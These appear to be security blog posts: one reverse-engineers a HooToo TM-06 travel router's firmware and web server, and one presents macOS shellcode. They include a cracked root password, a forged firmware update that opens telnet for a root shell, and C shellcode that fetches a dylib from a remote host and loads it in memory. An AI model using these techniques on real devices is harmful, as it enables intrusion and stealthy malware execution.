('0x52d5c4L', 'sub_52D0CC', 'flash_region_erase', '/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c')
('0x52d8d0L', 'sub_52D734', 'flash_non_region_erase', '/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c')
('0x52d96cL', 'sub_52D734', 'flash_non_region_erase', '/home/product/mk_wdisk_7620/UIS-V3.0/lib/flash/flash.c')

There are 910 of such error code blocks. Some function mappings are duplicates because a function could contain more than one error block. The duplication is useful for confirming that a mapping is correct.

Discovering internal structures

During the long process of reverse engineering the webserver MIPS assembly, several programming patterns have revealed themselves. First, the webserver is a single threaded state machine processing one HTTP request at a time. This greatly simplified how we reason about the system. Second, the implementation of the server is in C, however the developers are clearly fans of Objective-C or C++. That is because most structures come combined with data and function pointers. To call these functions, the code always passes the structure pointer as the first parameter. However, I do not believe that the source code is in C++ because there are no obvious artifacts, such as mangled names or vtables, to be found anywhere. The following pseudo code is a very common pattern that we see in the assembly:

typedef void (*fcn_ptr)(struct state* self, ...);

struct state {
   char[20] name;
   int      state;
   fcn_ptr  func1;
   fcn_ptr  func2;
};

struct state* s = malloc(sizeof(struct state));
s->func1 = func1_implementation;
s->func2 = func2_implementation;

s->func1(s, 2, 3);

Let’s find an example of this pattern. In web_cgi_main_handler there’s a call create a structure for the httpd server. It is allocated and initialized at address .text:00412B34 with a call to httpd_new.

web_cgi_main_handler:
...
.text:00412B24 addiu   $v0, 0xC         # Add Immediate Unsigned
.text:00412B28 move    $a0, $v0
.text:00412B2C la      $t9, httpd_new   # Load Address
.text:00412B34 jalr    $t9 ; httpd_new  # Jump And Link Register

Within the httpd_new function a buffer is allocated using calloc.

httpd_new:
...
.text:00413770 li      $a0, 1           # nmemb
.text:00413774 li      $a1, 0x90        # size
.text:00413778 la      $t9, calloc      # Load Address
.text:0041377C nop
.text:00413780 jalr    $t9 ; calloc     # Jump And Link Register

This buffer is used to store a whole bunch of function pointers (please excuse skipped instructions for brevity - note the addresses).

httpd_new:
...
.text:004138A0 addiu   $v0, (sub_41395C - 0x410000)  # Add Immediate Unsigned
.text:004138A8 sw      $v0, 0x74($v1)   # Store Word
.text:004138B8 addiu   $v0, (sub_413AE8 - 0x410000)  # Add Immediate Unsigned
.text:004138C0 sw      $v0, 0x78($v1)   # Store Word
.text:004138D0 addiu   $v0, (sub_414064 - 0x410000)  # Add Immediate Unsigned
.text:004138D8 sw      $v0, 0x7C($v1)   # Store Word
.text:004138E8 addiu   $v0, (sub_4144C8 - 0x410000)  # Add Immediate Unsigned
.text:004138F0 sw      $v0, 0x80($v1)   # Store Word
.text:00413900 addiu   $v0, (sub_4148A0 - 0x410000)  # Add Immediate Unsigned
.text:00413908 sw      $v0, 0x84($v1)   # Store Word
.text:00413918 addiu   $v0, (sub_414B14 - 0x410000)  # Add Immediate Unsigned
.text:00413920 sw      $v0, 0x88($v1)   # Store Word
.text:00413930 addiu   $v0, (sub_414D5C - 0x410000)  # Add Immediate Unsigned
.text:00413938 sw      $v0, 0x8C($v1)   # Store Word

httpd_new will return a pointer to this new heap allocated structure back to web_cgi_main_handler. The handler function will then be able to call these function pointers to do further operations.

web_cgi_main_handler:
...
.text:00412BD0 sw      $v0, 0x38+httpd_struct($sp)  # httpd stuct
.text:00412BD4 lw      $v0, 0x38+httpd_struct($sp)  # Load Word
.text:00412BDC lw      $t9, 0x78($v0)   # Load Word
.text:00412BE0 lw      $a0, 0x38+httpd_struct($sp)  # Load Word
.text:00412BE4 la      $a1, loc_410000  # Load Address
.text:00412BEC addiu   $a1, (prgcgi_main_handler - 0x410000)  # Add Immediate Unsigned
.text:00412BF0 jalr    $t9              # Jump And Link Register

In the example above we can see that $v0 register contains a pointer to the httpd_t structure. Then at offset 0x78 a pointer is retrieved and executed. Before it is executed the first argument at $a0 register is set to the address of the same httpd_t structure. In essence the function is called with a this pointer as the first argument. We see this pattern over and over with various core data structures.

This pattern is really great news for any sort of buffer overflow vulnerabilities on the heap. That is because there are unprotected function pointers all over the place and there would be no need for any sort of heap pointer manipulations to gain execution - your experience may vary ;-).

One way to locate these patterns is to use the function finder script we built is the previous section. All we have to do is filter on *_new for function names.

Python>for i in [ (x[0], x[1], x[3]) 
          for x in findFuncNames() 
             if (x[3].find("new") != -1)]: print i
('0x40ca7cL', 'str_parse_new', 'str_parse_new')
('0x40cb30L', 'str_parse_new', 'str_parse_new')
('0x40cc28L', 'str_parse_new', 'str_parse_new')
('0x40cfb4L', 'str_build_new', 'str_build_new')
('0x40d078L', 'str_build_new', 'str_build_new')
('0x4137f0L', 'httpd_new', 'httpd_new')
('0x413860L', 'httpd_new', 'httpd_new')
# ... truncated

Using this method we find a whole bunch of initialization functions including the one we analyzed as an example, httpd_new. One unfortunate side affect of this C++ style pattern is that functions called via these structures do not get picked up as cross references by IDA.

Loading pattern

I’ve already mentioned that the compiler used by the developers of the device is not an optimizing compiler. Or, at least, if it was optimizing, it wasn’t doing a great job. So let’s have a look at some of the weird patterns that have emerged.

.text:00412B34 jalr    $t9 ; httpd_new  # Jump And Link Register
.text:00412B38 nop

First, every jump or branch is followed by a NOP instruction. This creates for a nice break in code and makes it less dense. I find that it becomes easier to read the assembly code because there are less things that I have to consider. For contrast, here’s a function epilogue from libiconv from the same device:

(libiconv.so.2.5.0)
.text:0001706C lw      $s0, 0x20+var_8($sp)
.text:00017070 move    $v0, $a0
.text:00017074 jr      $ra
.text:00017078 addiu   $sp, 0x20

We can see here that the function returns and automatically fixes up the stack. This allows for a more efficient implementation but it puts a little more load on our brains when doing reverse engineering. OK, let’s switch back to the webserver function.

.text:00412B3C lw      $gp, 0x38+var_20($sp)  # Load Word
.text:00412B40 sw      $v0, 0xC($s0)    # Store Word
.text:00412B44 lw      $v0, 0xC($s0)    # Load Word

I find this phenomenon quite often. There will be an instruction that stores a variable and the immediately loads it back up into the same register as if the storing process has somehow cleared the register. Clearly, it is an artifact of a lack of an optimization step. This is fine for us, it allows the reverse engineer to see how the source code was written. Such structures create less dense and more mentally patterned assembly which is easier to follow.

.text:00412B48 nop
.text:00412B4C bnez    $v0, loc_412BC0  # Branch on Not Zero
.text:00412B50 nop

Finally, a bunch of NOPs around branching. The compiler is being safe about the two stage pipeline to make sure that when the registers are used they are in fact fully actualized.

Session check

For commands triggered by the user via web UI the server will perform a session validation. This happens at the beginning of each function. For example, there’s a feature for cloning a MAC address. Before the feature is executed a call to cgi_chk_sys_login will be made.

.text:0048E4E0             set_macCloneEnabled:                     # DATA XREF: .data:0058DD10o
.text:0048E4E0   li      $gp, 0x1087B0    # Load Immediate
.text:0048E4E8   addu    $gp, $t9         # Add Unsigned
...
.text:0048E554   move    $a1, $v0
.text:0048E558   la      $t9, cgi_chk_sys_login  # Load Address
.text:0048E55C   nop
.text:0048E560   jalr    $t9 ; cgi_chk_sys_login  # <---- session check
.text:0048E564   nop
.text:0048E568   lw      $gp, 0x58+var_48($sp)  # Load Word
.text:0048E56C   bnez    $v0, loc_48E588  # Branch on Not Zero
.text:0048E570   nop
.text:0048E574   li      $v0, 0x132B3A2   # Load Immediate
.text:0048E57C   sw      $v0, 0x58+var_C($sp)  # Store Word
.text:0048E580   b       loc_48E83C       # Branch Always
.text:0048E584   nop

The session check essentially ensures that the token in the cookie matches one that is recorded locally. This is a fairly common practice. It is a little bit concerning that the check is so decentralized, however the server is small in feature and so it should be relatively easy to ensure that every sensitive function performs this authorization check.

Python>for i in XrefsTo(0x00437550): print hex(i.frm) + ": " + GetDisasm(i.frm)
0x43a7ecL: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
0x43bdb4L: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
0x43bfecL: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
0x43c560L: jalr    $t9 ; cgi_chk_sys_login # Jump And Link Register
...

A total of 315 references to the check. This is a good way to find out which functions are protected and somehow exposed to authenticated users. It is also good way to identify which function do something sensitive.

Conclusion

We went through some interesting patterns for the implementation of the server. Hopefully, it has given you enough of an intuition for your own reverse engineering efforts in the future. We got really lucky in this case because the compiler was not aggressively optimizing the code and so we got to see a lot of patterns that make reversing of this server much easier.

The binaries referenced in this article can be downloaded here:

SHA (7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030_fileserv) = 86b96a77f8f09ac4937e079e9db1e1e3c9a2d24f
SHA (7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030_ioos) = 7420757f92f140708e4628efe589924cfcc1fade

Protecting the digital nomad

Sun, 19 Mar 2017 00:00:00 +0000

Part 1: Digital nomads, driven by the expanding Internet bandwidth and availability, are growing in numbers. There are open communities like the Subreddit /r/digitalnomad and others are commercial like the Digital Nomad Community. However, from the Cyber hygiene point of view, bouncing around like that can be about as safe as unprotected sex. In this post, I’d like to explore the security of one device that aims to protect the traveler’s meatspace to cyberspace bridge. The device is the HooToo Travel Mate 06 (TM-06) travel router - it is a cute little device but provides loads of security fun!

Motivation

The community of digital nomads is growing in addition to an already large number of business/vacation travelers around the world. Apparently, the community is on its way to one billion in numbers. However, I’m more interested in the security side. Their security needs are quite demanding because they have to touch many networks/devices with questionable security hygiene. At Blackhat 2016, there was a talk on Internet safety in AirBnB’s and similar rentals. The speaker showed us how risky it can be to move between networks of differing standards. As this talk points out, there is a similar issue with public Café Wi-Fi’s. The wireless networks from one location to another vary greatly, mostly within the category of being vulnerable, exposing guests and hosts to malware. That piqued my interest and initiated this research.

Looking for a solution, I discovered the concept of a travel router. Basically, a MiFi but without the SIM card and some additional features. A search on amazon returned well over a thousand of results - ranging in fitness to the search criteria. Taking price and function into account, I zeroed in on the HooToo TM-06 (the device). Its functions include Wi-Fi extension, Wi-Fi to Ethernet bridging and Hot Spot creation. However, security is one of the selling points: “create your own secure Wi-Fi network,” they said. I took this to mean that I can create a network more secure than what I bridge to in a Café, AirBnB or a hotel. At the very least, I could have an additional layer of protection such as what I could get from a NAT or a good firewall. Naturally, I wanted to thoroughly check if this security claim was true.

Previous work

There was some initial work done on HooToo devices, including the previous versions of the TM-06, by chorankates. Also, Smith published XSRF exploits which remain unpatched. However, I wanted to see if I could get more out of it.

While the device seems to be popular on the Amazon, I don’t really see them around much. So they are not mainstream popular, not like an iPhone, but there are still enough out there to make for a useful target and pose some real dangers. Unfortunately, being below the radar also means that the device has not received much scrutiny from the security community to ensure the devices are safe to use.

Let’s get to work!

The device is configurable via a web interface and it exposes a whole bunch of TCP ports to support its various features.

Figure 1: Login page

By default, the device doesn’t have a password set on the admin user in the web interface. The user is expected to change it upon initial setup. This is not bad in itself but the device should really require the user to set the password after initial login. The WebUI itself doesn’t provide a lot of rich features - it is a simple, to the point, UI. What you’ll find there are some basic Wi-Fi settings, MAC spoofing, access to media storage and network configurations. Obviously, an attacker getting access to such things would be bad, but I wouldn’t expect it to be too damaging.

Figure 2: Login page

Of course, all HTTP interactions are unsecured. There’s no way of configuring TLS for the administrator interface. As long as you configure WPA for your wireless network then that should be OK, right? I guess, it just depends on how much you trust the people you allow to connect to the device with you. Personally, I would’ve preferred to have some TLS, not like encryption takes so many resources to run for one user. This is a perfect case where I’d give away some performance for much more security.

Next, we connect to the device’s local Wi-Fi and do a full nmap scan:

  $ nmap 192.168.1.1 -p 0-65535
  Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-07 08:35 EST
  Strange read error from 192.168.1.1 (49 - 'Can't assign requested address')
  Nmap scan report for 192.168.1.1
  Host is up (0.0049s latency).
  Not shown: 65531 closed ports
  PORT     STATE    SERVICE
  0/tcp    filtered unknown
  80/tcp   open     http
  81/tcp   open     hosts2-ns
  5880/tcp open     unknown
  8201/tcp open     trivnet2

Some interesting things there. I always enjoy seeing ‘weird’ looking ports that are open for business. Not quite sure what to do with them yet but I imagine they have something to do with the various services (such as samba and DLNA Services) that the device provides. I was, however, disappointed that there are no remote shell ports to be found, such as ssh or telnet. That is especially because telnet was discovered during analysis of older versions, by chorankates. I guess HooToo did some enhancements since then.

The firmware

Next, I’d like to look at the firmware and see what kind of interesting things we could discover there. After a little bit of googling, I found that it’s possible to update the device with new firmware found on the HooToo support page. The update process is to upload the update file via the authenticated web interface. Finding an update file like this is exciting because it means we get to peek inside the code that is executing on our device.

mike@ubuntu:~/$ wget http://www.hootoo.com/media/downloads/HT-TM06-2.000.038.zip
--2017-03-19 20:20:36--  http://www.hootoo.com/media/downloads/HT-TM06-2.000.038.zip
HTTP request sent, awaiting response... 200 OK
Length: 26610217 (25M) [application/zip]
Saving to: ‘HT-TM06-2.000.038.zip’

100%[=====================================================================>] 26,610,217  8.60MB/s   in 3.0s

2017-03-19 20:20:39 (8.60 MB/s) - ‘HT-TM06-2.000.038.zip’ saved [26610217/26610217]

mike@ubuntu:~/$ unzip HT-TM06-2.000.038.zip
Archive:  HT-TM06-2.000.038.zip
  inflating: Change log.txt
  inflating: HT-TM06-Fix bug-2.000.038
  inflating: HT-TM06-2.000.038.bin
  inflating: HT-TM06-2.000.038

I’m not quite sure why, but the update package included the same file thrice. Each with a different name:

mike@ubuntu:~/$ md5sum *
8e99584da7cbb946695669f588b81430  HT-TM06-2.000.038
8e99584da7cbb946695669f588b81430  HT-TM06-2.000.038.bin
8e99584da7cbb946695669f588b81430  HT-TM06-Fix bug-2.000.038

Looking at the binary, we find that it is actually just a bash shell script:

mike@ubuntu:~/$ head -3 HT-TM06-2.000.038
#!/bin/sh
# constant
CRCSUM=3448271509

The first thing that stands out is the fact that there is no cryptographic signature to be found. So there’s no way to verify authenticity. The only thing we get is a CRC checksum which is clearly not a security mechanism.

Next, we find this little section in the script:

# untar
echo "unzip firmware package"
...
tail -n +$SKIP $0 > $FWPT/upfs.gz

The script executes a tail command on itself where it skips SKIP number of lines. SKIP is defined to be 263. The reference to firmware is encouraging and curious, so let’s run this command and see what happens.

mike@ubuntu:~/$ tail -n +263 HT-TM06-2.000.038 > upfs.gz
mike@ubuntu:~/$ file upfs.gz
upfs.gz: gzip compressed data, was "initrdup", from Unix, last modified: Tue Feb 14 00:36:14 2017, max compression

Cool! That seems to have worked and given us a valid gzip file. This command extracted the binary content that was following the shell script which turned out to be the gzip file.

mike@ubuntu:~/$ gunzip upfs.gz
mike@ubuntu:~/$ file upfs
upfs: Linux rev 1.0 ext2 filesystem data, UUID=0339a2bf-8f6e-47d0-a3fd-4c4282c9d522

Uncompressing the gzip, we see that it is an ext2 filesystem. Now, I’m truly excited because we can mount something :-)

mike@ubuntu:~/$ sudo mount -o loop upfs upfs.mount/
mike@ubuntu:~/$ ls upfs.mount/
bin  boot  config  dev  etc  firmware  lib  mnt  proc  sys  update.sh  var

We get lots more fun things to play with. That update.sh file and the firmware directory are the first targets - specifically, firmware looks most interesting. So, let’s keep unwrapping this package!

mike@ubuntu:~/upfs.mount$ file firmware/*
firmware/bootloader:    data
firmware/firmware.conf: ASCII text
firmware/kernel:        u-boot legacy uImage, Linux Kernel Image, Linux/MIPS, OS Kernel Image (lzma), 1544372 bytes, Wed Oct 28 00:25:02 2015, Load Address: 0x80000000, Entry Point: 0x8000C2F0, Header CRC: 0x14F420EC, Data CRC: 0x54A3AFE8
firmware/rootfs:        Squashfs filesystem, little endian, version 4.0, 5566433 bytes, 1105 inodes, blocksize: 131072 bytes, created: Tue Feb 14 00:36:10 2017

rootfs looks promising because it is a Squashfs filesystem, so this file probably lands up on the flash drive of the device. Looking at the kernel we can also get some information about when it was built and the kind of architecture we should expect. So, let’s mount the filesystem and peek inside.

mike@ubuntu:~/blog_firmware$ tree -h --dirsfirst -L 3 --filelimit 20 ./rootfs.mount/
./rootfs.mount/
├── [1.1K]  bin [81 entries exceeds filelimit, not opening dir]
├── [  26]  boot
│   └── [   3]  tmp
├── [   3]  data
├── [ 218]  dev
├── [1.1K]  etc [66 entries exceeds filelimit, not opening dir]
├── [  26]  etc_ro
│   └── [  28]  ppp
│       └── [ 363]  ip-up
├── [   3]  home
├── [1.3K]  lib [63 entries exceeds filelimit, not opening dir]
├── [   3]  media
├── [   3]  mnt
├── [   3]  opt
├── [   3]  proc
├── [ 835]  sbin [48 entries exceeds filelimit, not opening dir]
├── [   3]  sys
├── [   3]  tmp
├── [ 119]  usr
│   ├── [ 550]  bin [42 entries exceeds filelimit, not opening dir]
│   ├── [   3]  codepages
│   ├── [  42]  lib
│   │   ├── [ 208]  fileserv
│   │   └── [  34]  ppp
│   ├── [  44]  local
│   │   ├── [   3]  fileserv
│   │   └── [  26]  samba
│   ├── [1008]  sbin [60 entries exceeds filelimit, not opening dir]
│   ├── [  31]  share
│   │   └── [1.7K]  zoneinfo
│   └── [310K]  dev.tar
├── [ 111]  var
│   ├── [   3]  cache
│   ├── [   3]  lock
│   ├── [   3]  locks
│   ├── [   3]  log
│   ├── [   3]  logs
│   ├── [   3]  run
│   ├── [   3]  state
│   └── [   3]  tmp
└── [ 139]  www
    ├── [ 192]  app
    │   ├── [  97]  explorer
    │   ├── [  91]  information
    │   ├── [ 189]  network
    │   ├── [ 150]  services
    │   ├── [ 105]  system
    │   ├── [ 109]  user
    │   ├── [ 125]  wizard
    │   ├── [3.8K]  main.html
    │   ├── [2.5K]  metro.html
    │   ├── [1.9K]  set.html
    │   └── [1.3K]  wifiapi.html
    ├── [   3]  firmware
    ├── [ 158]  lang
    │   ├── [   0]  com.err
    │   ├── [  12]  dldlink.csp
    │   ├── [  13]  error.csp
    │   ├── [  12]  header.html
    │   ├── [  12]  index.csp
    │   ├── [  14]  protocol.csp
    │   ├── [  12]  sysfirm.csp
    │   └── [  12]  tail.html
    ├── [  34]  miniyun
    │   └── [ 381]  miniyun.htm
    ├── [  69]  script
    │   ├── [ 224]  app
    │   ├── [ 236]  lge
    │   ├── [3.8K]  config.js
    │   └── [ 98K]  core.js
    ├── [  57]  themes
    │   ├── [ 192]  default
    │   └── [ 209]  HT-TM06
    └── [2.0K]  index.html

59 directories, 35 files

There is nothing that is out of the ordinary. Looks like a small, possibly custom, distribution of Linux for a MIPS embedded system. On the support page, we see that the device’s chipset is MTK 7620. With this information we can find the datasheet and the CPU instruction set manual for the MIPS32 24K Processor. This will come handy in the future.

mike@ubuntu:~/$ cat ./rootfs.mount/etc/passwd
root:$1$yikWMdhq$cIUPc1dKQYHkkKkiVpM/v/:0:0:root:/root:/bin/sh
...

It only took about two days of john the ripper on a reasonably priced AWS instance. The password was discovered by brute force: 20080826. What’s sad is that we have no where to use this password. There’s no login shell and the root user does not work via the web interface. Also, I couldn’t authenticate by directly sending the root login request using burp - so, the username enforcement is happening on the device. This is a good sign, otherwise we’d have a nice back door that, likely, no one would check for.

For this write up, we’ll stop here with the firmware analysis. There’s certainly more to do. But for now, we have all the files that we need for further specialized branches of analysis.

Getting a debugger

So far, we’ve discovered some useful things about the device: the firmware, some unfixed issues and its architecture. However, nothing terrible and, as I’ve eluded to earlier, we really want to get some execution on the device. Ideally, we want to crack in, but until then let’s see if we can use semi-normal methods.

Looking at our analysis so far, we notice that the firmware is not signed and it is a simple shell script. So, let’s build our own update! :-) Also, we notice that in the previous analysis, by chorankates, the earlier versions of the device had port 23 (telnet) open. So, I would guess that this functionality was disabled rather than removed.

mike@ubuntu:~/rootfs.mount$ find ./ -iname '*telnet*'
./etc/checktelnetflag
./etc/init.d/opentelnet.sh
./etc/telnetpasswd
./etc/telnetshadow
./usr/sbin/telnetd
mike@ubuntu:~/rootfs.mount$ cat ./etc/init.d/opentelnet.sh
#!/bin/sh
if [ ! -f /etc/telnetflag ]; then
	touch /etc/telnetflag
       sed -i "s|:/root:/sbin/nologin|:/root:/bin/sh|" /etc/passwd
	telnetd &
	/etc/init.d/etcsync
fi

A quick search reveals that telnet is, indeed, available and can be started via the opentelnet.sh script. What we’ll do is attempt to execute this command via our own firmware update package.

The update mechanism is accessible after the admin user has logged in on this URL: http://192.168.1.1/app/system/firmware.html.

My first attempt was to upload a basic shell script:

#!/bin/sh
/bin/sh /etc/init.d/opentelnet.sh

exit 1

I wanted to return an error, so that the system would not decide to, irreversibly, change anything internal and possibly brick the device. Unfortunately, that did not work. Obviously, I got no explanation. Further analyzing the official update package, we notice that the update usually comes with a CRC checksum. There is a check in the official firmware update that looks like this:

crcsum=`sed '1,3d' $0|cksum|sed -e 's/ /Z/' -e 's/   /Z/'|cut -dZ -f1`
[ "$crcsum" != "$CRCSUM" ] && {
        echo "firmware crc error!"
        upstat 2 1
        [ -f /tmp/update_flag ] && exit 0	
        exit 1
}
echo "firmware crc success!"

It was a little confusing why the failure occurred even though the check looks to be self enforced. What I realized later, is that the device will actually perform it’s own CRC validation before letting the script execute. However, the process is the same.

Using my Mac Book Pro, I generated a check sum using the same command that was found in the official update. Notice that I’m using an older version of the firmware than the one I mentioned above. This is because at the time of this research version 2.000.030 was the latest. So far, such details are not relevant to the work in this writeup.

$ sed '1,3d' fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030 \
  |cksum|sed -e 's/ /Z/' -e 's/   /Z/'|cut -dZ -f1
3784598516

D’oh! It doesn’t match! The number in the firmware file is 3587589093. That’s weird! This was a real head scratcher for a while because I really wanted to be able to generate a CRC number that matches what the device expects. After a few hours of unproductive search, I decided to try it on my Ubuntu VM.

mike@ubuntu:~$ sed '1,3d' fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030 \
              |cksum|sed -e 's/ /Z/' -e 's/   /Z/'|cut -dZ -f1
3587589093

Worked! I still don’t know what the deal is - I’m sure there is a simple explanation. It looks like the cksum command on Linux uses a different algorithm compared to the one on OS X. Probably should have done this sooner given that the device runs a version of Linux. Lessons learned!

With this information, I constructed another shell script with a proper CRC checksum this time:

#!/bin/sh
# constant
CRCSUM=2787560248
VENDOR=HooToo
PRODUCTLINE=WiFiDGRJ
SKIP=263
TARGET_OS="linux"
TARGET_ARCH="arm"
DEVICE_TYPE=HT-TM06
VERSION=2000030
CPU=7620

/bin/sh /etc/init.d/opentelnet.sh

exit 1

Those other lines are a copy/paste by product. Since the CRC was already generated, I didn’t want to take them out. Upon uploading this as a firmware update, the device gave me an error. However, doing a network scan, I saw that telnet was open! This means that the error was generated by the exit 1, rather than by incompatible firmware.

$ nmap 192.168.1.1
Nmap scan report for 192.168.1.1
Host is up (0.0092s latency).
PORT   STATE SERVICE
23/tcp open  telnet
80/tcp open  http
81/tcp open  hosts2-ns

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

The custom update enabled us to login using the cracked root password:

$ telnet 192.168.1.1
Connected to 192.168.1.1.
Escape character is '^]'.

HT-TM06 login: root
Password:
login: can't chdir to home directory '/root'
# ls
bin     data    etc     home    media   opt     sbin    tmp     var
boot    dev     etc_ro  lib     mnt     proc    sys     usr     www
# Connection closed by foreign host.

We are in business! Getting a command shell on an embedded device is so exciting :-) But, let’s move on. The title of this section is ‘Getting a debugger’ and that is what I want. GDB comes to mind, however, I do not find it on the device. This means we will have to find a version that runs on MIPS. After some googling, I found that Rapid7 has actually published a version of the GDB server that runs on MIPS. Although, we have a terminal session on the device, there’s not really a good way of uploading files to it. However, it does automatically mount USB storage devices which is super convenient.

We attach to a process like so:

# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 7344
Attached; pid = 7344
Listening on port 9999

Then, we use gdb-multiarch to connect to the server. I haven’t been able to get that to work on OS X, so I used the easy way on Ubuntu:

mike@ubuntu:~$ gdb-multiarch
(gdb) target remote 192.168.1.1:9999
Remote debugging using 192.168.1.1:9999
0x2bb5595c in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   0000102e 00000001 00000202 00000030 00000012 7fa22670 00000000 00000001
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   7fa22570 7fa22670 2bbe548c 00000001 00100000 e2f038ed 808c1c90 808c1ca8
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  7fa22670 ffffffff 2bbe0aa4 00000012 00000001 7fa22824 00000000 00000000
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000000 2bb55920 00000000 00000000 2bbe75d0 7fa212a0 00417e5c 004b3988
        status       lo       hi badvaddr    cause       pc
      0100ff13 00003ffc 00000000 004b37ec 50800020 2bb5595c
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
        dspctl  restart
      00000000 0000102e
(gdb)

Cool! We have a debugger.

Conclusion

Secure infrastructure is important. It is important even to a digital nomad, whether they are a permanent nomad or just a temporary one. Based on research by several security professionals, we’ve seen how hard it can be to get secure infrastructure on the go. HooToo tries to provide an additional layer of security via the Trip Mate travel router.

In this post, we have discovered the surface area that could potentially be used for attacks. We have also seen how a researcher could gain shell access to their device by uploading fake firmware updates. Using these methods, it becomes possible to obtain the binaries that execute on the device as well as set up a dynamic analysis environment.

Loading from memory

Mon, 14 Nov 2016 00:00:00 +0000

Building shellcode and playing with assembly is my idea of fun. In this article I introduce shellcode that executes to download a dynamic library from a TCP connection and loads it without ever touching the disk. On MacOS, there are several methods of doing that [1], but I would like to show another alternative which possibly requires less code to implement.

TL;DR;

I reuse functions in DYLD that were never meant to be used externally.

Shellcode Compiler

A while back I introduced a utility called shellcc which is built to assist with building shellcode using a high level language like C. It is called shellcc only because it constructs very compact byte code of instructions. Unfortunately, it does not really handle a lot of the important use-cases of for real shellcode construction. Use-cases such as character restrictions. As such, the tool serves another purpose really well.

I show this use-case in an introductory walk through:

When I started out my work on iOS, I did not know Aarch64 assembly very well. So, I needed a boon to help me bootstrap. This was the other purpose of shellcc - an educational tool. I would use it to compile basic C programs in order to understand how the assembly is written to make system calls and process data. So, the tool is kind of an 80% solution that would give me template assembly that I could later play with. It also helped me with reverse engineering. Specifically to test theories about what certain blocks from IDAPro might have looked like in a high level language.

On semi-regular basis, I try to do presentations at the NYU OSIRIS lab for educational purposes. I pick a topic that I had played with recently and found useful and present in practical detail. I wanted to do this with shellcc and, so, I came up with a practial example: How to write one of the most common shellcodes? One that connects to a TCP port, downloads a dylib and loads it into the process space. As an added challenge, I wanted to do so without touching disk (and triggering personal security products). This is what I would like to present in this blog. Of course, as I’ve mentioned earlier, there is more than one way.

The Technique

The file that implements the technique is called injectdyld.c and can be found in the github repository. The name is a bit misleading, but the the technique is there.

First, we connect to the port and download the library:

    bzero((struct sockaddr *)&serv_addr,sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = SERVER_IP;
    serv_addr.sin_port = htons(SERVER_PORT);

    // Connect to the remote host.
    if(scc_connect(sockfd,(struct sockaddr *)&serv_addr,
                   sizeof(serv_addr)) < 0) {
        // If not, clean up and bail.
        scc_exit(44);
    }

    int fileSize = receivefile(sockfd, dyld_buffer, mem_size);

Next, we load the dynamic loader:

    int dyld_fd = scc_open("/usr/lib/dyld", O_RDONLY, 0);
    void* dyld_buf = scc_mmap(NULL, mem_size, PROT_READ, 
                              MAP_PRIVATE, dyld_fd, 0);

This step is a bit wasteful because the process would’ve likely already had the dynamic loader mapped in memory. However, we are in shell code and it is a lot easier to map the file than to find the existing location.

Then, we find the symbol dlsym which will help us find other symbols in the process space.

    typedef void* (*dlsym_t)(void* handle, const char* symbol);
    dlsym_t dlsym = (dlsym_t)findSymbol64(dyld_buf, mem_size, 
                                          "_dlsym", 6);

The findSymbol64 exists in the shellcode and it parses the Mach-O file of dyld to locate the function.

Then we locate the loadFromMemory function or, rather, a C++ class constructor.

    typedef void* (*loadFromMemory_t)
       (const uint8_t* mem, uint64_t len, const char* moduleName);

    loadFromMemory_t loadFromMemory = (loadFromMemory_t)findSymbol64(
          dyld_buf, mem_size, "__ZN4dyld14loadFromMemoryEPKhyPKc", 33);

    void* image = loadFromMemory(dyld_buffer, fileSize, NULL);

One day, while reading the DYLD source code, I discovered the loadFromMemory function which is used internally to parse a memory blob. Its mangled name is __ZN4dyld14loadFromMemoryEPKhyPKc and the source preamble is below. This function constructs an ImageLoader class object in memory to internally describe the layout and all the features that the system cares about.

ImageLoader* loadFromMemory(const uint8_t* mem, uint64_t len, 
                            const char* moduleName)
{
    // if fat wrapper, find usable sub-file
    const fat_header* memStartAsFat = (fat_header*)mem;
    uint64_t fileOffset = 0;
    uint64_t fileLength = len;
    if ( memStartAsFat->magic == OSSwapBigToHostInt32(FAT_MAGIC) ) {
        if ( fatFindBest(memStartAsFat, &fileOffset, &fileLength) ) {
            mem = &mem[fileOffset];
            len = fileLength;

Next is the easy part. This is where we force the loaded Mach-O file to join the process as a proper dynamic library.

    typedef void (*registerInterposing)(void* _this);

    // `vtable for ImageLoaderMachOCompressed
    ((registerInterposing) (*( (*(uint8_t***)image) + 64))) (image);

Because we are not implementing this in C++, we don’t get the nice language abstractions to class objects. So, instead we have to force an instance call. Remember, back in the day, C++ was implemented as C++ to C translator, so we know this has to be possible.

We dereference the image object to obtain the vtable, we then dereference again at an offset to get the function of our dreams. We cast the pointer to a function pointer and call it with the pointer to the object as the first parameter. C++ functions (when looked through the eyes of C) expect the first parameter to the this pointer.

The registerInterposing is a function that is called when we inject libraries into the process by using the environment variable (i.e. DYLD_INSERT_LIBRARIES). Using this private interface activates the internal workings of DYLD to load libraries properly to be used by the rest of the process.

    foo_t foo = dlsym(RTLD_DEFAULT, "foo");

    // call the desired procedure.
    int ret = foo();

Finally, we execute our library function to kick off the maliciously injected code.

Conclusion

Using functions loadFromMemory and registerInterposing seems simple but it was not obvious without a fairly in-depth analysis of DYLD. This method is useful when the alternatives might not be applicable.

[1] Objective-C runtime method (https://s3.amazonaws.com/s3.synack.com/infiltrate.pdf slide 29)

Some folks lost their touch

Tue, 23 Aug 2016 00:00:00 +0000

